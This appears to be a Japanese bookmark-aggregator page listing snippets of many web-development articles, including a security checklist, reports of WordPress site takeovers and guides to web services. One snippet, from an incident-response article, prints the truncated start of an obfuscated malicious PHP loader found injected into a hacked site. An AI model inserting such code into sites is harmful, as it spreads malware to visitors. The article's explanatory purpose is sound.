Webサービス公開前のチェックリスト
個人的に「Webサービスの公開前チェックリスト」を作っていたのですが、けっこう育ってきたので公開します。このリストは、過去に自分がミスしたときや、情報収集する中で「明日は我が身…」と思ったときなどに個人的にメモしてきたものをまとめた内容になります。 セキュリティ 認証に関わるCookieの属性 HttpOnly属性が設定されていること XSSの緩和策 SameSite属性がLaxもしくはStrictになっていること 主にCSRF対策のため。Laxの場合、GETリクエストで更新処理を行っているエンドポイントがないか合わせて確認 Secure属性が設定されていること HTTPS通信でのみCookieが送られるように Domain属性が適切に設定されていること サブドメインにもCookieが送られる設定の場合、他のサブドメインのサイトに脆弱性があるとそこからインシデントに繋がるリスクを理解してお
Vue Fes Japan 2023の感想/Cloudflare WorkersとRemixが快適すぎた/Web Infraに注目してる【ep.26 #論より動くもの .fm】 - STORES Product Blog
CTO 藤村がホストするPodcast、論より動くもの.fmの第26回を公開しました。今回はフロントエンドエンジニアのうしろのことVue Fes Japan 2023の感想やCloudflare WorkersとRemix、最近注目している技術について話しました。 論より動くもの.fmはSpotifyとApple Podcastで配信しています。フォローしていただくと、新エピソード公開時には自動で配信されますので、ぜひフォローしてください。 podcasters.spotify.com テキストで読みたい方は下記からご覧ください。 Vue Fes Japan 2023 面白かったね 藤村：こんにちは、論より動くもの.fmです。論より動くもの.fmは、STORES のCTOである私、藤村が技術や技術じゃないことについてざっくばらんに話すPodcastです。今日はSTORES で活躍しているフ
【catnose】Zennを生んだ個人開発者に聞く、プロダクト開発の美学
個人開発者 catnose ソフトウェア開発者・デザイナー。 個人開発者として、Webデザイナー向けメディア「サルワカ」、ポートフォリオ作成サービス「RESUME」、技術情報共有サービス「Zenn」、簡単にAIサービスがつくれる「だれでもAIメーカー」など、数々のプロダクトを世に送り出す。家族は妻、娘、犬、猫。 個人開発者として、ポートフォリオ作成サービス「RESUME（レジュメ）」や技術情報共有サービス「Zenn（ゼン）」、入力欄や選択ボックスを組み合わせるだけで簡単にAIサービスがつくれる「だれでもAIメーカー」など、数々のプロダクトをヒットさせてきたcatnose（キャットノーズ）さん。現在も複数の開発案件に関わりながら、新たなプロダクトを開発中だといいます。 今回はそんなcatnoseさんのこれまでの作品を振り返りながら、個人開発者として培った開発哲学や、30代になるとともに起きた
マネーフォワード、サービスのリニューアルに失敗・わずか1日で無かったことに : 市況かぶ全力２階建
失言で静岡県知事を辞任の川勝平太さん、最後の最後にリニア新幹線に黄信号（制限速度45km/hで進め）を出す失言
Webアプリの開発で面倒な作業を一発解消してくれる無料Webサービス9選！ - paiza times
どうも、まさとらん（@0310lan）です。 みなさんは、Webアプリの開発にトライしたことはありますか？ いざ、コードを書き始めるとちょっとしたことで悩んだり、簡単に思っていた処理が意外と面倒であったり、データベース操作が難しかったり…など、予想以上に困難な場面に直面することが多いと思います。 そこで今回は、初級者から上級者まで幅広い開発シーンを想定し、面倒な作業を解消して便利に活用できる無料Webサービスを厳選してみましたので、ご紹介しようと思います！ 目次 ・悩みがちな「関数」や「変数」の名前を日本語で一発変換！ ・Eメール認証の判定を自動化する！ ・多彩な「情報リソース」を無料でゲット！ ・わずか数行で画像要素をInstagram風のオシャレ写真に変換！ ・任意のWebサイトURLから自動で「スクショ」をゲット！ ・超お手軽にソースコードをシェア＆レビューする！ ・Googleスプ
【VIP】webディレクターだけど、初心者に役立つサイト教える てんこもり。
1: 以下、＼(^o^)／でVIPがお送りします 投稿日：2015/02/06(金) 17:42:31.05 ID:flJZIImcH 最近クソみたいなデザインとグッチャグチャのソースコード書いてる ミーハー丸出しアフィサイトが増えてきて鬱陶しいから、 これからサイト作る初心者用にサイトを紹介していく これ以上俺のウェブサーフィンライフを邪魔すんじゃねえぞ
プロジェクト形式でゼロからWebサイト開発スキルを身につける！ブラウザ上で無料で学べるDASH！ |EdTech Media
プログラミング学習は、教育分野の中でも注目される領域の１つで、このサイトでも幾つかご紹介しています。 ・中学生・高校生のためのプログラミングキャンプを提供するLife is Tech!が、初心者のためのLife is Tech School Rookiesをスタート！ ・日本初！オンライン個別指導のプログラミングスクール 「CodeCamp」が開校！ 日本でも、プログラミング教育が政府の成長戦略に盛り込まれるなど、検討が進んでいます。プログラミングというと敷居が高く感じますが、「コンピュータに司令を送り、自分の実現したいものを表現する」という意味では、Webサイトは目に見えやすく、わかりやすくはじめられるのではないでしょうか。 エンジニアでなくても日常的にWebサイトに関わる方も多いでしょう。簡単なWebサイトに関する知識を身につけておくことで、仕事の理解が深まったり、幅が広がることも少な
mixiの新人研修トレーニングが非常にわかりやすくて実践的すぎる - Android Javascript iOS
mixiは新人研修用のトレーニングをgithubに公開しています。 公開していることは知っていたけれど、いざみてみると… とってもわかりやすく実践的！！！ 普通に参考書で勉強するよりも企業が公開しているものだから、より実践的という感じもします。 自分はこのAndroidTrainingをやっているのですが、最後に課題もあり、到達度や理解度もすごく把握できていい感じです。 READMEもかなり充実しており、一通りを学べるように工夫されています。 mixiに入社した方がこれを一通りやったと思うと、大変な印象ですが…だからこそやったときに達成感がありそうです。 開発環境の構築から書かれているので、ほとんどつまづくことはありません。 かなり詳しくわかりやすく書かれている印象を受けました。 ちょっと初めて学習するには、難しい箇所もありますが適宜ぐぐって補えばよいでしょう。 ・AndroidTrain
FINDJOB!終了のお知らせ | FINDJOB!
FINDJOB! 終了のお知らせ 2023年9月29日にFINDJOB!を終了いたしました。 これまでFINDJOB!をご利用いただいた企業様、求職者様、様々なご関係者様。 大変長らくFINDJOB!をご愛顧いただき、誠にありがとうございました。 IT/Web系の仕事や求人がまだ広く普及していない頃にFind Job!をリリースしてから 約26年間、多くの方々に支えていただき、運営を続けてまいりました。 転職成功のお声、採用成功のお声など、嬉しい言葉もたくさんいただきました。 またFINDJOB!経由で入社された方が人事担当になり、 FINDJOB!を通じて、新たな人材に出会うことができたなど、 たくさんのご縁をつくることができたのではないかと思っております。 2023年9月29日をもって、FINDJOB!はその歴史の幕を下ろすこととなりましたが、 今後も、IT/Web業界やクリエイティブ
フェスを再現！出演アーティストを連続再生するWebサービス・M-fes.[エムフェス]を作ってみた。 - 着ぐるみ追い剥ぎペンギン
フェスを再現！出演アーティストを連続再生するWebサービス・M-fes.[エムフェス]を作ってみた。 2013 9/12 音楽好きですか? フェス好きですか? 僕は大好きです!! こんにちは。フェス好き、Web好きのナカシマ(@kanakogi)です。 最近ではフェスもすっかり市民権を得て、日本でも沢山のフェスが開催されていますね。 フェスには大勢のアーティストが出演します。 自分が好きなアーティストが出るフェスならば、知らなくても好きなアーティスト沢山いるはずです。 ということで、フェスに出演するアーティストの動画を連続再生するM-fes.[エムフェス] というWebサービスを作ってみました。 M-fes.[エムフェス] http://www.m-fes.net M-fes.[エムフェス]の使い方 トップページは↑のようになっています。 好きなフェスをクリックしてください。 すると、その
![フェスを再現！出演アーティストを連続再生するWebサービス・M-fes.[エムフェス]を作ってみた。 - 着ぐるみ追い剥ぎペンギン](https://cdn-ak-scissors.b.st-hatena.com/image/square/7addc2636ce199ef777da68947151b45fa85ee7c/height=288;version=1;width=512/https%3A%2F%2Fkigurumi.s3.ap-northeast-1.amazonaws.com%2Fwp-content%2Fuploads%2F2013%2F09%2F003.jpg)
【緊急警報!!】ロリポップとGMOのinterQのWordPressが軒並み乗っ取られてます｜More Access! More Fun
さきほどWordPressフォーラム見てましたら、ぞっとするようなトピが立ちました。 サイト改ざん？ http://ja.forums.wordpress.org/topic/24503 サイトが急に文字化けになり、困っております；； Hacked by Krad Xinと黒の上部ツールバーにあり、サイトが改ざんされてしまったのでしょうか？ ハッカーの声明リストを見ると、日本のサーバで乗っ取った宣言のがずらり これはほんの一部です。おそらく数千、数万の被害が。 ※追記 DN乗っ取りでなければ数百〜千単位で済むかもしれないですが・・ただ攻撃は28日深夜から29日朝にかけても続き、被害は増大しています。 8/29 11時のリリースだと4802件だそうです。 くれぐれもリストにあるところは見に行かないように・・・感染してしまう可能性があります!! でもってドメインを検索して見ると、ほとんどがロリ
土日で作るWebサービス入門 - toyoshiの日記
先週日曜日に総額480円、プログラムコード200行、作業時間8時間で「給与明細.net」(http://www.給与明細.net)というWebサービスを作ってリリースをしました。これは給与支払明細書のPDFをWebで簡単に作れるWebサービスです。 シンプルな内容なので開発を開始してから8時間以内の作業でリリースできました。このエントリではサクッとサービスを開発してリリースするまでの僕なりの方法を紹介します。 特長 無料 会員登録不要 Excelから一括作成できる（CSVではない） オープンソース（MITライセンス） 目次 解決したい課題を見つける ドメインを取得する サイトマップとURLを決定する よいツールを集める まずデプロイ（公開）する そこそこのデザインにする 最低の機能をつけたらリリースする 広めるための準備をする おまけ：コードをかく 解決したい課題を見つける これがないとそ
パソコンでお小遣い稼ぎができる副業サービス５８選まとめ【初心者向け】
副業で使えるWebサービス５８選 ここ数年で一気に在宅ワークを始める人が増えてきていますね。 ひと昔前は、「副業＝内職」など手作業のイメージが強かったのですが、今の時代はネットでできる副業が主流です。 今回は以下のようなジャンルに分けて解説していきます！ クラウドソーシング ポイントサイト・ポイ活 シェアリング 代行系サービス アンケートモニター スキルマーケット ハンドメイドマーケット ネットショップサービス ライブ配信サイト メールレディ・チャットレディ デザイン系の副業サービス ストックフォト アフィリエイトサービス ネット懸賞サイト クラウドソーシング クラウドソーシングとは、オンライン上で仕事を受注することができるサービスで、以下のような仕事を受けることができます。 アンケート 口コミ投稿 データ入力 テープ起こし ブログの執筆代行 ロゴのデザイン YouTubeの動画編集 たく
【2012超まとめ】確実にWEBサービスを作りたい人へ【前編】
（記事が長すぎたので前編・中編・後編に分けました） 僕ももう、リストラされそうなとあるおっさんなんですが、先日Webサービスを公開しました。 きっかけになったのはこの記事です。 自分でWEBサービスを作りたいと思っている人へ http://anond.hatelabo.jp/20101203150748 こんな事できたら良いなぁと思っていると、他にもやっている方たちがいました。 たった2日で製作されたWebサービス「お部屋晒し」って？ http://matome.naver.jp/odai/2131952812556433001 WEBサイトを発注してみた。 http://anond.hatelabo.jp/20120318122617 Rails3 と jQuery で、真面目にオシャレなエロサイトをつくってみました - h300 http://d.hatena.ne.jp/inouet
TechCrunch | Startup and Technology News
Unlike Light’s older phones, the Light III sports a larger OLED display and an NFC chip to make way for future payment tools, as well as a camera.
非WEB屋でもサイトが作れる驚異的サービス／『サイトを作る』という敷居がどんどん低くなっていると実感する物色々 | バンクーバーのうぇぶ屋
先週くらいのお話ですが、“カナダで留学した後自分たちでスモールビジネスをやるからサイトが欲しい、でもお金無いから自分たちで作りたい。”的な相談があって、「そんな、サイト作るだけのサービスなんぞ、腐る程あるわぁああ！！」と、半分ヤケくそになってお話したので丁度いい機会だからまとめてみようと思います。 まぁ、今日はどちらかというと、完全に非WEB屋な人に向けたサイト自体を作るサービス、問い合わせなどのフォームを作るサービス、ユーザーテストを低コストで行うためのサービス、そういう物をご紹介していこうと思います。 たぶん、趣味やとりあえずサイト作りたいと思っている人には朗報として、とりあえずサイト作れる人がWEBデザイナーだと思っている人へは啓発（的な？）として、記事を書かせて頂けると幸いです！ 加えてたまに、「サイトが作れるようになりたい。」と僕の元に来てくれる人がいますが、もしそういった人が「
Web素人も必見！プロ並みのSEO内部対策ができるというSEOスカウターを使ってみたよ。｜男子ハック
SEOだのなんだの言われてもわからない。そもそもブロガー的にはSEO意識するよりがんばって記事を書いたほうがいいんじゃない？って思ってましたが、さらに1歩上に行くにはSEOって後々重要な気もします。 Ferret+に登録をしなくてはいけませんが、無料で使えるので試したい方は登録をしましょう。 Ferret+に登録をし、対象のサイトを登録するとこんな感じでサイトの評価が表示されます。 A評価ってのは高いのか低いのかなんだかよくわかりません。 色々な項目に対して重要度・チェック項目・対策状況が表示されます。 対策キーワードを設定することもできます。とりあえずMac、iPhoneと設定してみました。当り前ですがこんなビッグワードはどの検索エンジンも圏外ですね。 内部対策分析結果が非常にわかりやすく役立ちそうです。 男子ハックはmeta関連の設定がされていないことを思い出しました。やったほうがいい
Dropboxの容量が『無料で 1GB 貰える』Dropquest2012 の答え
Dropboxが主催するゲーム『Dropquest2012』が開催されており、なんと１等賞には100GBの容量がプレゼントされます！ と、残念ながら既に100GBは誰かの手に・・・ですが、ゲームをクリアすると全員に１GB分の容量がプレゼントされます！ と、言うことでDropquest2012の答え合わせをしていきますが、答えをばっちり書いちゃってますのでネタバレも良いところです。 自分の力で問題を解いてみたいという方は記事を開かずに、閉じる事をオススメします。 開催期間は6月2日まで！！ Dropquest2012では特定のChapter（ステップ）をクリアすると段階的に容量を貰うことが出来、全てクリアすると合計で１GBとなります！ Chapter 2：50 MB Chapter 7：75 MB Chapter 9：100 MB Chapter 13：125 MB Chapter 16：1
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
オシャレエロサイトをリリースして、10万PV/日を捌くためにやったこと - 彼女からは、おいちゃんと呼ばれています
